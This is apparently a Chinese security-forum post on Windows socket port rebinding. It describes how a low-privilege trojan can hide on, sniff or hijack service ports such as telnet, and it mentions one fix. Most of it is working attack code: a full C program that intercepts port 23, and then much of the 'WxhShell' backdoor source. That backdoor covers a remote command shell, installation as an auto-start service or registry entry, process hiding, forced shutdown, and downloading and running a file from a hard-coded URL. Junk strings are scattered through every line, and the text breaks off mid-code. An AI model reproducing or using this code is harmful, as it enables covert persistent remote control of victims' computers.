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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T5}3Y3G,6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N`IXSE  
~),%w*L  
  saddr.sin_family = AF_INET; /y{fDCC  
x7E] }h  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); AKjobA#  
rG~W=!bj  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B=]L%~xL$  
/2T  W?a  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E<-W & a}  
zP0<4E$M`  
  这意味着什么?意味着可以进行如下的攻击: 4$vUD1('  
".|8(Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 a"xRc  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T7mT:z>:  
N e{=KdzT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Gev\bQa  
p#4*:rpq4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  SbX^DAlB1  
'q;MhnU+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f eB ?  
3C!|!N1Hn  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mIG>`7`7N  
Wx3DWY;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r]xN&Ne5Q  
_z%\53h  
  #include V+1c<LwT  
  #include `UzH *w@e  
  #include C[znUI>  
  #include    y~]D402Cx  
  DWORD WINAPI ClientThread(LPVOID lpParam);   zF FYl7]  
  int main() rN#9p+t$  
  { \ CcVk"/  
  WORD wVersionRequested; j8e=],sQ  
  DWORD ret; &/^p:I  
  WSADATA wsaData; sV5k@1Y  
  BOOL val; e^~dx}X  
  SOCKADDR_IN saddr; 9.dZA9l@g  
  SOCKADDR_IN scaddr; 2l V`UIa  
  int err; ,V]FAIJ  
  SOCKET s; z"7?I$N Q  
  SOCKET sc; 2Q(ZW@0  
  int caddsize; :n~Mg{j3  
  HANDLE mt; l<=k#d  
  DWORD tid;   N4VZl[7?  
  wVersionRequested = MAKEWORD( 2, 2 ); }T}c%p  
  err = WSAStartup( wVersionRequested, &wsaData ); emJZ+:%  
  if ( err != 0 ) { "dndhoMq  
  printf("error!WSAStartup failed!\n"); *$VeR(QN  
  return -1; '.pGkXyQ  
  } [?<v|k  
  saddr.sin_family = AF_INET; n3V$Xtxw  
   g8Y)90 G  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6w3[PNd  
0# 1~'e  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P;y!Y/$C  
  saddr.sin_port = htons(23); ^=-25%&^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n@kJ1ee'  
  { h){#dU+&  
  printf("error!socket failed!\n"); `r=^{Y  
  return -1; 4?(=?0/[  
  } LQ Ux}  
  val = TRUE; *j,noHUT~>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7!`1K_v6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %CQa8<q  
  { gJwX  
  printf("error!setsockopt failed!\n"); T<nK/lp1t  
  return -1; NA@Z$Gy  
  } #]i^L;u1A  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ''9K(p6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 '^7Z]K<v  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mBrZ{hqS  
h8M}}   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) vfc5M6Vm)<  
  { H 9/m6F  
  ret=GetLastError(); #+" D?  
  printf("error!bind failed!\n"); "\9 beK:l  
  return -1; B "4A1!  
  } "3 2Ua3m:G  
  listen(s,2); KTo}xLT  
  while(1) %|/\Qu  
  { d\A7}_r*x  
  caddsize = sizeof(scaddr); P%[ { 'u  
  //接受连接请求 BB1_EdoG  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2^5RQl/  
  if(sc!=INVALID_SOCKET) s&WE'  
  { Qd3ppJn  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); NV} fcZ  
  if(mt==NULL) SJ8 ~:"\P  
  { {KTZSs $n  
  printf("Thread Creat Failed!\n"); HCktgL:E=  
  break; c0jTQMe4yl  
  } J~ @W":v  
  } F DGzh/  
  CloseHandle(mt); XI ><;#  
  } u[wDOw  
  closesocket(s); ZZxt90YR'5  
  WSACleanup(); QRdtr  
  return 0; z:Ru`  
  }   (i<\n`h1K  
  DWORD WINAPI ClientThread(LPVOID lpParam) ==KDr 0|G  
  { VL\Ah3+  
  SOCKET ss = (SOCKET)lpParam; Y?oeP^V'u  
  SOCKET sc; 2I=4l  
  unsigned char buf[4096]; )h(=X&(d  
  SOCKADDR_IN saddr; LsMq&a-j2  
  long num; WT 5 2  
  DWORD val; tC+1 1M  
  DWORD ret; rP(;^8l"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &u2m6 r>W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r5lPO*?Df  
  saddr.sin_family = AF_INET; '|%\QWuZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @Ko}Td&E(  
  saddr.sin_port = htons(23); ! v%%_sRV  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +WxD=|p;  
  { 7/=r-  
  printf("error!socket failed!\n"); L[+4/a!HQ  
  return -1; (G>g0(;D-  
  } j->5%y  
  val = 100; 2R3)/bz-SV  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ncR]@8  
  { Q`=d5Uvw  
  ret = GetLastError(); \$,;@H5I^  
  return -1; [].euDrX  
  } K9RRY,JB  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )DQcf]I  
  { (f"LD8MJ/  
  ret = GetLastError(); L1SZutWD?  
  return -1; )5diX + k  
  } );p:[=$71  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @&Af [X4s  
  { ){tT B  
  printf("error!socket connect failed!\n"); gHH[QLD=I  
  closesocket(sc); IV`+B<3  
  closesocket(ss); )\izL]=!t  
  return -1; eN  TKX  
  } _^0UK|[  
  while(1) y&F&Z3t  
  { PC?XE8o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 DnB :~&Dw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \VAS<?3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2;SiH]HNS  
  num = recv(ss,buf,4096,0); 0n?^I>j  
  if(num>0) +'g~3A-G  
  send(sc,buf,num,0); .k5&C/jv  
  else if(num==0) S]c&T`jx  
  break; `y&2Bf  
  num = recv(sc,buf,4096,0); T' )l  
  if(num>0) s%zdP  
  send(ss,buf,num,0); \-Q6z 8  
  else if(num==0) NF*Z<$'%  
  break; .Ax]SNZ+:A  
  } FCt %of#  
  closesocket(ss); EHq?yj;  
  closesocket(sc); F{m?:A  
  return 0 ; pc](  
  } `jGG^w3  
l4E0/ F  
b5%T)hn=  
========================================================== ~5~Cpu2v7  
=%crSuP  
下边附上一个代码,,WXhSHELL #t&L}=G{%  
w"h3e  
========================================================== *b(nX,e  
Hh qNp U  
#include "stdafx.h" Bc?KAK  
cs Gd}2VE  
#include <stdio.h> yt`K^07@  
#include <string.h> $?|$uMIafp  
#include <windows.h> tNDv[IF  
#include <winsock2.h> srIt_Wq  
#include <winsvc.h> ^#z*   
#include <urlmon.h> e6'y S81  
;<K#h9#*7  
#pragma comment (lib, "Ws2_32.lib") C.VU"= -  
#pragma comment (lib, "urlmon.lib") U!524"@%U`  
p,S/-ph  
#define MAX_USER   100 // 最大客户端连接数 U;Q?Rh- W  
#define BUF_SOCK   200 // sock buffer Z2I2 [pA  
#define KEY_BUFF   255 // 输入 buffer G9 ra;.  
{60U6n  
#define REBOOT     0   // 重启 eh6=-  
#define SHUTDOWN   1   // 关机 6"U$H$i.G  
`R_;n#3F0  
#define DEF_PORT   5000 // 监听端口 2?(dS  
z~RE}k  
#define REG_LEN     16   // 注册表键长度 :>m67Zq  
#define SVC_LEN     80   // NT服务名长度 +nQp_a1{9%  
a`;nB E  
// 从dll定义API ^[hx`Rh`t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 03dmHg.E!E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &^K,"a{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t`"pn <  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y9Q.TL>=[  
te#Wv9x  
// wxhshell配置信息 0{.[#!CSk  
struct WSCFG { t|}}#Z!I[f  
  int ws_port;         // 监听端口 pn aSOyR  
  char ws_passstr[REG_LEN]; // 口令 /9@ VnM  
  int ws_autoins;       // 安装标记, 1=yes 0=no @A8@j%CK1  
  char ws_regname[REG_LEN]; // 注册表键名 j4]y(AA  
  char ws_svcname[REG_LEN]; // 服务名 Q;eY]l8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "|d# +C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p2(Z(V7*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L<ET"&b;4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LZ1)zoJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /n8\^4{fP{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C\gKJW^]y@  
;^|:*  
}; /zIUYY  
OCbwV7q:  
// default Wxhshell configuration }6 Mo C0  
struct WSCFG wscfg={DEF_PORT, wp>L}!  
    "xuhuanlingzhe", \~I>@SG2W+  
    1, zIbrw9G  
    "Wxhshell", h~u|v[@{J  
    "Wxhshell", vW`[CEm^X  
            "WxhShell Service", +E }q0GV  
    "Wrsky Windows CmdShell Service", +;N;r/d_i  
    "Please Input Your Password: ", ?4YLt|sn  
  1, \vqqs  
  "http://www.wrsky.com/wxhshell.exe", k[5:]5lp+  
  "Wxhshell.exe" E8b:MY  
    }; aJ$({ZN\#  
jF0>w  m  
// 消息定义模块 c4(og|ifk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; trMwFpfu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d2X?^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `]wk)50BVp  
char *msg_ws_ext="\n\rExit."; b_a6|  
char *msg_ws_end="\n\rQuit."; F%G} >xn  
char *msg_ws_boot="\n\rReboot..."; v8 pOA<s  
char *msg_ws_poff="\n\rShutdown..."; I"2*}v|  
char *msg_ws_down="\n\rSave to "; 0K^?QM|S  
K5}0!_)G  
char *msg_ws_err="\n\rErr!"; b VcA#7 uA  
char *msg_ws_ok="\n\rOK!"; ~Nn}FNe  
#7p!xf^  
char ExeFile[MAX_PATH]; oR'u&\mB  
int nUser = 0; ^BhS*  
HANDLE handles[MAX_USER]; ^D A<=C-[!  
int OsIsNt; 5b;~&N4~  
|a>,FZv8e  
SERVICE_STATUS       serviceStatus; J3_Ou2cF`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -Rbv#Y  
*b\&R%6dR  
// 函数声明 z2[{3Kd*  
int Install(void); cSYMnB  
int Uninstall(void); 5 N:IH@  
int DownloadFile(char *sURL, SOCKET wsh); $Ahe Vps@@  
int Boot(int flag); G]O5irsV  
void HideProc(void); V$3`y=8  
int GetOsVer(void); w L4P-4'  
int Wxhshell(SOCKET wsl); q0VR&b`?>D  
void TalkWithClient(void *cs); QfRo`l/V9  
int CmdShell(SOCKET sock); 63Z^ k(  
int StartFromService(void); !AN;  
int StartWxhshell(LPSTR lpCmdLine); #N;McF;W  
Nf)$K'/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PUErvL t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /-Z}=  
e$o]f"(  
// 数据结构和表定义 `j!XWh*$  
SERVICE_TABLE_ENTRY DispatchTable[] = CO`?M,x>  
{ w[OUGn'  
{wscfg.ws_svcname, NTServiceMain}, @z>DJ>htN  
{NULL, NULL} #O^%u,mJj  
}; t:*1* ;  
-mLS\TFS  
// 自我安装 #M@~8dAH}M  
int Install(void) zV8{|-2]No  
{ ~{-9qOGw;  
  char svExeFile[MAX_PATH]; U;t1 K  
  HKEY key; %BF,;(P  
  strcpy(svExeFile,ExeFile); qIvnPaYW  
[G' +s  
// 如果是win9x系统,修改注册表设为自启动 j%=X ps  
if(!OsIsNt) { (h'Bz6K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r0*Y~ KHw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iAZbh"I  
  RegCloseKey(key); sq?js#C5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S ^$!n,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JJy.)-R  
  RegCloseKey(key); `\J,%J  
  return 0; P~s u]+  
    } D.gD4g_O/  
  } !wTrWD!  
} zZ;V9KM>v  
else { 2@Oz_?O=  
J;'H],w}f  
// 如果是NT以上系统,安装为系统服务 5}Z>N,4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fGoJP[ae  
if (schSCManager!=0) wU|jw(  
{ ic}mru  
  SC_HANDLE schService = CreateService L}rYh`bUP[  
  ( 0X5b32  
  schSCManager, K #}t\  
  wscfg.ws_svcname, /h8100  
  wscfg.ws_svcdisp, r+;k(HMY}[  
  SERVICE_ALL_ACCESS, iP6?[pl8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NuW6~PV  
  SERVICE_AUTO_START, hR~&}sxN  
  SERVICE_ERROR_NORMAL, d'iSvd.  
  svExeFile, D7=Irz!O\7  
  NULL, !6,rN_a@Y  
  NULL, v[V7$.%5Q  
  NULL, X.ecA`0  
  NULL, [,(+r7aB  
  NULL }m&\I  
  ); S_?sJwM  
  if (schService!=0) Po*!eD  
  { & H8  %  
  CloseServiceHandle(schService); 3n~O&{  
  CloseServiceHandle(schSCManager); &hih p"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m|3 Q'  
  strcat(svExeFile,wscfg.ws_svcname); 88l1g,`**  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u;+8Jg+xH/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RAWzQE }  
  RegCloseKey(key); i|m8#*Hd  
  return 0; \i+Ad@)  
    } *Qyu QF  
  } &4ndi=.#rg  
  CloseServiceHandle(schSCManager); b[<L l%K  
} /B)2L]6p  
} Mfnfp{.)  
?TJ4L/"(k6  
return 1; sDAP'&  
} E1SWZ&';  
bo1J'pU  
// 自我卸载 sf/m@425  
int Uninstall(void) E\TWPV'/  
{ q3C  
  HKEY key; 4U~'Oa @p  
m_.9 PZ  
if(!OsIsNt) { Lp/'-Y_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X *EseC  
  RegDeleteValue(key,wscfg.ws_regname); *,t/IA|  
  RegCloseKey(key); AN3oh1xe:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z?pi /`y8>  
  RegDeleteValue(key,wscfg.ws_regname); 8 Vf #t!t  
  RegCloseKey(key); i[I&m]N  
  return 0; Ve${g`7&  
  } a,(nf1@5  
} TO.STK`  
} 6l T< lzT  
else { 6TTu[*0NT  
aRElk&M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8!YQ9T[  
if (schSCManager!=0) 'n=bQ"bQu  
{ yEk|(6+^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }ice*3'3  
  if (schService!=0) vKWi?}1  
  { o")"^@Zh i  
  if(DeleteService(schService)!=0) { h?v8b+:0  
  CloseServiceHandle(schService); :aBm,q9i:}  
  CloseServiceHandle(schSCManager); TQb@szp:|  
  return 0; rIb~@cR)  
  } y4l-o  
  CloseServiceHandle(schService); H4sW%nZ0  
  } m(o`;  
  CloseServiceHandle(schSCManager); { ^^5FE)%  
} OQ4Pk/-'  
} }a#T\6rY  
||fw!8E  
return 1; yYSmmgrX0  
} Ghc U ~  
%?, 7!|Ls  
// 从指定url下载文件 !#~KSO}zW2  
int DownloadFile(char *sURL, SOCKET wsh) Uk*(C(  
{ v_Df+  
  HRESULT hr; Z=Cw7E  
char seps[]= "/"; w>8kBQ?b  
char *token; &-{%G=5~e%  
char *file; M$Bb,s  
char myURL[MAX_PATH]; V)`A,7X  
char myFILE[MAX_PATH]; P{ 9wJ<  
,|A6l?iV  
strcpy(myURL,sURL); ?@Q0;LG  
  token=strtok(myURL,seps); <T;V9(66  
  while(token!=NULL) *C0a,G4  
  { 8EMBqhl  
    file=token; cvo+{u$s  
  token=strtok(NULL,seps); {&XTa`C  
  } tzfyS#E  
B9[vv;lzu  
GetCurrentDirectory(MAX_PATH,myFILE); ~cyKPg6  
strcat(myFILE, "\\");  ^#C+l  
strcat(myFILE, file); cMF)2^w}  
  send(wsh,myFILE,strlen(myFILE),0); |d-x2M[  
send(wsh,"...",3,0); xQU//kNL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H }]Zp  
  if(hr==S_OK) H C,5j)1  
return 0; 1h(IrV5g  
else oV;sd5'LG  
return 1; j`q>YPp  
mdyl;e{0  
} n1 GX` K  
Dt>tTU 6  
// 系统电源模块 65JG#^)KaX  
int Boot(int flag) *0Z6H-Do,  
{ 3 !8#wn  
  HANDLE hToken; (9ZW^flY  
  TOKEN_PRIVILEGES tkp; G_5{5Ar  
Y0kcxpK/  
  if(OsIsNt) { }!k?.(hpE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9H;Os:"\|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }yn%_KQ0  
    tkp.PrivilegeCount = 1; gK;dfrU.8Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qoH:_o8ClO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^|6#Vx  
if(flag==REBOOT) { YpXd5;'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `GBJa k  
  return 0; AzF*4x  
} & wtE"w  
else { !vRN'/(Vyu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gY[G>D=  
  return 0; TTl9xs,nO  
} jD"nEp-  
  } t#_6GL  
  else { f4*(rX  
if(flag==REBOOT) { @(oY.PeS<z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #<B?+gzFM{  
  return 0; H.]V-|U  
} T^vo9~N*  
else { B Tj1C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u/wX7s   
  return 0; s.rQiD  
} XUh&an$  
} ^H2TSaJ;  
X]2Ib'(  
return 1; !KJ X$?  
} ==?%]ZE8  
FN/l/OSb  
// win9x进程隐藏模块 k$m'ebrS.~  
void HideProc(void) ME]7e^  
{ ;`c:Law4  
qi7*Jjk>90  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j DEym&-  
  if ( hKernel != NULL ) ZL0k  
  { 17c`c.yP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ujE~#b}X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sx;/xIU|  
    FreeLibrary(hKernel); UtJfO`m9P  
  } k~:(.)Nr  
~N; dX[@BT  
return; Fw(  
} eYoc(bG(+  
p=eSJ*  
// 获取操作系统版本 "k  
int GetOsVer(void) ;nbEV2Y<  
{ e@vZg8Ie  
  OSVERSIONINFO winfo; g#l!b%$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 35AH|U7b  
  GetVersionEx(&winfo); .Jg<H %%f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n#WOIweInf  
  return 1; {wt9/IlG1  
  else Gdx %#@/  
  return 0; *L>usLh  
} z;@<J8I  
s0vcGh#w  
// 客户端句柄模块 ] s 2ec  
int Wxhshell(SOCKET wsl) DwFvM0O6\  
{ ;,TT!vea  
  SOCKET wsh; --TH6j"  
  struct sockaddr_in client; n%;tVa  
  DWORD myID; g(s}R ?  
{Fyw<0 [@  
  while(nUser<MAX_USER) s2QgR37s>  
{ \8a014  
  int nSize=sizeof(client); !=;Evf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?wmu 0rR  
  if(wsh==INVALID_SOCKET) return 1; qkc,93B3  
I Gb'ii=A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QjJlVlp  
if(handles[nUser]==0) veh=^K%G |  
  closesocket(wsh); ]5`A8-Q@  
else K)`R?CZ:s  
  nUser++; =? q&/ cru  
  } I|Hcs.uW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d/*EuJYin<  
{[NQD3=+F  
  return 0; 1yU!rEH  
} OEbZs-:  
t VX|e2Y  
// 关闭 socket n31nORx50  
void CloseIt(SOCKET wsh) L:lnm9<  
{ X,o ]tgg=  
closesocket(wsh); Gb Mu;CA  
nUser--; 2y8FP#  
ExitThread(0); ;9=4]YZt  
} G+C{_o#3  
Ssa/;O2  
// 客户端请求句柄 ^dxy%*Z/  
void TalkWithClient(void *cs) Kb5}M/8  
{ C5Fq%y{$.  
1ATH$x  
  SOCKET wsh=(SOCKET)cs; DX3jE p2  
  char pwd[SVC_LEN]; ci(BPnQ  
  char cmd[KEY_BUFF]; -ECnX/ "  
char chr[1]; 98<^!mwF  
int i,j; c[OQo~m$  
M5`m5qc3  
  while (nUser < MAX_USER) { G8^b9xoA+.  
Pj8Vl)8~NV  
if(wscfg.ws_passstr) { }gX4dv B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z,XivU&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FEa%wS{  
  //ZeroMemory(pwd,KEY_BUFF); j}jU.\*v<  
      i=0; +'` ^ N  
  while(i<SVC_LEN) { {=R vFA  
.:;q8FL/  
  // 设置超时 P8CIKoKCV  
  fd_set FdRead; K~5(j{Kb8  
  struct timeval TimeOut; G jrN1+9=  
  FD_ZERO(&FdRead); L`^ v"W()  
  FD_SET(wsh,&FdRead); o+<hI  
  TimeOut.tv_sec=8; 4=* ml}RP  
  TimeOut.tv_usec=0; ROfke.N\'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3i}$ ~rz]U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _1$+S0G;  
| 8n,|%e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }LZz"b<aw  
  pwd=chr[0]; 0b,{4DOD  
  if(chr[0]==0xd || chr[0]==0xa) { {`L,F  
  pwd=0; 63i&e/pv  
  break; 9B3}LVg\  
  } DshRH>7s8  
  i++; E@="n<uS  
    } FEA/}*2F  
(%M:=zm  
  // 如果是非法用户,关闭 socket `5~<)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /dVcNo3"  
} D%'rq  
n^epC>a"b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d k|X&)xTJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [vCZD8"Y8  
_j_c&  
while(1) { :Sk<0VVd7  
1;MUemnx`  
  ZeroMemory(cmd,KEY_BUFF); qRZLv7X*j  
y=}a55:qE  
      // 自动支持客户端 telnet标准   mO\=# Q>  
  j=0; a>nV!b\n5  
  while(j<KEY_BUFF) { D4GXZX8 K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {y:+rh&  
  cmd[j]=chr[0]; !{oP'8Ax$  
  if(chr[0]==0xa || chr[0]==0xd) { UFa00t^5  
  cmd[j]=0; !P_'n  
  break; <{1 3Nd'o  
  } n] n3/wpO  
  j++; Yg`z4 U'6~  
    } `&/zOMp  
C1~Ro9si  
  // 下载文件 ,rQPs  
  if(strstr(cmd,"http://")) { MWc{7,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GwlAEhP  
  if(DownloadFile(cmd,wsh)) cFG%Ew@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;\+A6(GX{  
  else 0`e- ;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +)d7SWO6]!  
  } `qbsDfq@  
  else { Tq >?.bq9  
W3i X;-Z  
    switch(cmd[0]) { :cTwp K  
  Dr"F5Wbg  
  // 帮助 gB#$"mq,  
  case '?': { ~48mCD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TqMy">>  
    break; 4dvuw{NZ  
  } V6 ,59  
  // 安装 gLv";"4S  
  case 'i': { .J|" bs9  
    if(Install()) ^`!EpO>k9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o"A%dC_  
    else YPav5<{a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P}Ule|&LK  
    break; 5 %aT  
    } $;+`sVG  
  // 卸载 o//PlG~  
  case 'r': { T k>N4yq  
    if(Uninstall()) jvos)$;L-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C0Ti9  
    else ldm=uW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l. i&.;f  
    break; C{):jH,Rf  
    } y#;@~S1W  
  // 显示 wxhshell 所在路径 [mk!] r  
  case 'p': { 0IjQqI  
    char svExeFile[MAX_PATH]; "Mmvf'N  
    strcpy(svExeFile,"\n\r"); /!0{9F<  
      strcat(svExeFile,ExeFile); jCbxI^3A  
        send(wsh,svExeFile,strlen(svExeFile),0); :j,e0#+sA  
    break; |"a%S,I'  
    } o %tvwv  
  // 重启 <El6?ml@  
  case 'b': { +hS}msu'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TXQ Y&7  
    if(Boot(REBOOT)) Kth^WHL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x:Kca3pv_  
    else { fM)RO7  
    closesocket(wsh); O ijG@bI8  
    ExitThread(0); PDssEb7  
    } H\<C@OkJS}  
    break; n ZM|8  
    } nPUq+cXy]C  
  // 关机 sL tsvH#  
  case 'd': { SNd]c  
